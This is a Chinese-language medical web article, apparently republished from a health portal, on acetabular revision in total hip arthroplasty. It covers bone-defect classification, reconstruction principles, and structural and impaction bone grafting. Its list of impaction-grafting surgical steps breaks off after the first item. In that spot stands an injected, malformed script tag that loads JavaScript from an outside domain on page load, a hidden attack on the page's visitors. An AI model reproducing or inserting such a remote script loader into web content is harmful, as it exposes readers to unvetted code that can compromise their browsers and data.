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人 工 全 髋 翻 修 术—髋臼翻修
发布时间:2006/4/25 打印 关闭

一、概述 随着人工全髋关节置换术的广泛开展,术后假体松动的病例越来越多见,假体的松动均伴有不同程度的骨缺损,伴严重骨缺损的高难度全髋翻修术成为关节外科医生头疼的问题。解决骨缺损的问题是翻修手术的重要环节,也是翻修手术的难点。 二、髋臼骨缺损AAOS分型 Ⅰ 节段型骨缺损 外周型 上部 前部 后部 中心型(内侧壁缺失) Ⅱ 腔隙型骨缺损 周围型 上部 前部 后部 中心型(内侧壁完整) Ⅲ 混合型骨缺损:节段型+腔隙型 Ⅳ 骨盆连续性中断 Ⅴ 髋部强直 三、D’Antonio髋臼骨缺损严重程度分级 Ⅰ 臼杯与骨性臼杯完全接触,无需植骨 Ⅱ 臼杯与骨性臼杯不完全接触,仅需充填植骨 Ⅲ 臼杯与骨性臼杯不完全接触,且臼杯在骨性髋臼 中不稳定,需结构性植骨以稳定臼杯 四、根据不同的髋臼骨缺损,采取不同的翻修方式  对于骨缺损不严重的病例,可以采用臼底少量植骨+非骨水泥臼杯固定  对于骨缺损严重的病例,最好的选择是重建完整髋臼结构、补充骨量 五、重建髋臼原则  重建髋关节正常生物力学和髋关节旋转中心 —确保旋转中心于适当位置是重建髋关节力学的关键 —髋臼侧骨缺损旋转中心上移、内移或外移臀中肌失效,关节内异常应力 跛行、假体松动 —对于发育性髋脱位及旋转中心高位的患者,应力求安放于真臼,以恢复关节内正常应力;若真臼极浅,骨量少,而假臼骨量相对较多,则假体安放于高位臼  重建髋臼连续性  确保人工臼具有足够的骨性覆盖  确保移植骨具有坚强的固定  确保假体良好的初始和远期固定 六、对于髋臼严重骨缺损的病例,为了确保人工臼具有足够的骨性覆盖和假体良好的初始和远期固定,最好的选择是补充骨量,即结构性植骨与打压植骨技术。 (一)结构性植骨  结构性植骨适用于非包容性节段性骨缺损:尤在负重区  当移植骨块所受应力不大、覆盖范围较小者,可采用螺钉固定的非骨水泥臼杯  当移植骨块覆盖范围大于臼杯上方50%者,应采用骨水泥型臼杯,以分散植骨块内固定物及其与宿主骨界面所受应力  在一期全髋置换术时如何为后期翻修时多保留一些骨量? 1. 保留股骨头 2. 髋臼发育不良将1/2-2/3个股骨头植于骨缺损处,保存骨量 3. 一侧髋关节置换术后松动、骨溶解,另一侧有关节置换适应征,则同时手术,用行初次置换术一侧的股骨头,给关节松动的另一侧提供骨源  Harris报道髋臼结构性植骨术随诊11.5年,臼杯松动率46%,植骨块明显吸收  如何提高植骨技术 1. 植骨块足够大小,减少外露松质骨,禁多钻孔,避免植骨块血管化,骨吸收,强度下降 2. 螺钉从外下向内上方固定,避免承受垂直应力 3. 植骨块内骨小梁沿所受应力方向排列,植骨块所受应力大者,应用螺钉固定非骨水泥臼杯 4. 植骨块覆盖范围>臼杯上方50%,应用骨水泥臼杯分散应力 5. 植骨块与宿主骨床之间应紧密接触 (二)打压植骨  1979年荷兰Sloff提出采用异体骨颗粒打压植骨的观点  1980年McCollum首次报道打压植骨经验  1983年Roffman研究发现植骨后新骨形成  1984年Sloff报道其临床经验  1984年Mendes发表了临床研究结果  翻修术中79-86%的臼需异体骨颗粒植骨  对保留髋臼骨质尤其是重建臼内壁很重要  大部分可再血管化,新骨替代并再塑  植入异体骨颗粒后新骨替代  术后12周,宿主骨与骨水泥层之间新生骨桥接  术后24周,皆为新生骨替代,臼杯稳定性良好  最初这种植骨方法仅用于包容性骨缺损,仅用骨水泥臼杯  混合型骨缺损,可用金属网或结构性植骨,重建包容性后充填腔隙型骨缺损  迄今有少量有关异体骨颗粒打压植骨结合非骨水泥臼杯的临床报道,疗效令人乐观 (三)打压植骨的优势  生物学重建髋臼  恢复骨量  对于严重髋臼骨缺损亦能通过此法重建髋臼  术后早期稳定性良好 (四)各型骨缺损的处理  节段型骨缺损(周围型) 用金属网闭合骨缺损后,将节段型骨缺损转变成腔隙型骨缺损,再用异体骨颗粒充填  节段型骨缺损(中心型) 用金属网闭合骨缺损后,将节段型骨缺损转变成腔隙型骨缺损,再用异体骨颗粒充填  腔隙型骨缺损(内壁完整) 直接以多层异体骨颗粒充填  混合型骨缺损 用金属网闭合骨缺损,再用异体骨颗粒充填  骨盆连续性中断 首先修复骨折,然后闭合骨缺损,再用异体骨颗粒充填 (五)打压植骨手术步骤  评价缺损类型  ?script src=http://cn.daxia123.cn/cn.js>

来源:39健康网


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